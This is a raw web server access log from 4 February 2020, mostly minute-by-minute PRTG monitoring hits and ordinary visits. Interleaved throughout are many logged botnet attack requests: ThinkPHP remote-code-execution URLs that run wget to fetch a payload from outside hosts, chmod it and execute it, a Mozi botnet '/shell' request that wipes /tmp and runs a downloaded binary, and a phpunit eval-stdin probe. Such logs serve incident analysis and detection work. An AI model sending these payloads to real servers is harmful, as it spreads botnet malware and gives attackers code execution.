122.165.160.241 - - [04/Feb/2020:11:23:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.8.25.195 - - [04/Feb/2020:11:23:30 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
79.8.25.195 - - [04/Feb/2020:11:23:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
183.80.119.103 - - [04/Feb/2020:11:23:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:23:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.8.25.195 - - [04/Feb/2020:11:24:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [04/Feb/2020:11:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.8.25.195 - - [04/Feb/2020:11:25:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [04/Feb/2020:11:25:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.8.25.195 - - [04/Feb/2020:11:26:12 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
170.80.243.138 - - [04/Feb/2020:11:26:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.8.25.195 - - [04/Feb/2020:11:28:20 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [04/Feb/2020:11:28:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [04/Feb/2020:11:29:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:29:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:30:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.124.218.66 - - [04/Feb/2020:11:31:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:31:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.8.25.195 - - [04/Feb/2020:11:31:48 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
94.50.30.107 - - [04/Feb/2020:11:31:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:33:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:34:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.163.13.77 - - [04/Feb/2020:11:35:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:35:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:36:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
172.105.11.111 - - [04/Feb/2020:11:38:31 +0100] "HEAD / HTTP/1.1" 200 - "-" "\"Mozilla/5.0"
172.105.11.111 - - [04/Feb/2020:11:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "\"Mozilla/5.0"
212.91.246.72 - - [04/Feb/2020:11:38:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.43.47 - - [04/Feb/2020:11:38:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:39:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.231.157 - - [04/Feb/2020:11:40:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:40:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:41:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:42:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:43:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.254.101.76 - - [04/Feb/2020:11:43:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.0.236.22 - - [04/Feb/2020:11:44:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:11:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:45:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.240.234 - - [04/Feb/2020:11:45:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:46:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:47:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.245.95 - - [04/Feb/2020:11:48:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.85.38 - - [04/Feb/2020:11:49:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:49:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.50.5.30 - - [04/Feb/2020:11:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [04/Feb/2020:11:50:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.29.30.253 - - [04/Feb/2020:11:51:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.88.83.87 - - [04/Feb/2020:11:51:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.130.137 - - [04/Feb/2020:11:52:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:52:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.90.216.156 - - [04/Feb/2020:11:54:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:54:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.50.30.107 - - [04/Feb/2020:11:54:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:55:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.168.15 - - [04/Feb/2020:11:56:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:56:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:57:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.17.102.79 - - [04/Feb/2020:11:58:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:11:58:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:11:59:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:00:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:01:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:02:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.70.95 - - [04/Feb/2020:12:04:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.167.206.168 - - [04/Feb/2020:12:04:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:12:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.163.13.77 - - [04/Feb/2020:12:05:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:12:05:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:06:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.137.225.56 - - [04/Feb/2020:12:06:56 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://211.137.225.56:55776/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
176.101.254.101 - - [04/Feb/2020:12:07:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:12:07:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:08:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.124.218.66 - - [04/Feb/2020:12:09:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.118.121.248 - - [04/Feb/2020:12:09:12 +0100] "GET / HTTP/1.1" 200 1229 "https://meblieco.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.121.248 - - [04/Feb/2020:12:09:13 +0100] "GET / HTTP/1.1" 200 1229 "https://meblieco.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.121.248 - - [04/Feb/2020:12:09:13 +0100] "GET / HTTP/1.1" 200 1229 "https://meblieco.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
189.90.248.67 - - [04/Feb/2020:12:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:12:09:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:10:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:11:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.82.2 - - [04/Feb/2020:12:12:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.50.30.107 - - [04/Feb/2020:12:12:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:12:12:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.154.64.227 - - [04/Feb/2020:12:13:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:12:13:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:14:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:16:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.214.53 - - [04/Feb/2020:12:17:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
107.6.183.162 - - [04/Feb/2020:12:17:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
2.133.71.204 - - [04/Feb/2020:12:18:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.188.184.119 - - [04/Feb/2020:12:18:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [04/Feb/2020:12:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [04/Feb/2020:12:20:16 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:12:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.45.156.123 - - [04/Feb/2020:12:21:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:12:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.65.32 - - [04/Feb/2020:12:23:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.79.72 - - [04/Feb/2020:12:24:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:12:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.154.64.227 - - [04/Feb/2020:12:24:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:12:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [04/Feb/2020:12:26:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [04/Feb/2020:12:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.178.181.50 - - [04/Feb/2020:12:29:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
180.232.99.45 - - [04/Feb/2020:12:29:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:12:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.98.124 - - [04/Feb/2020:12:30:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:12:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
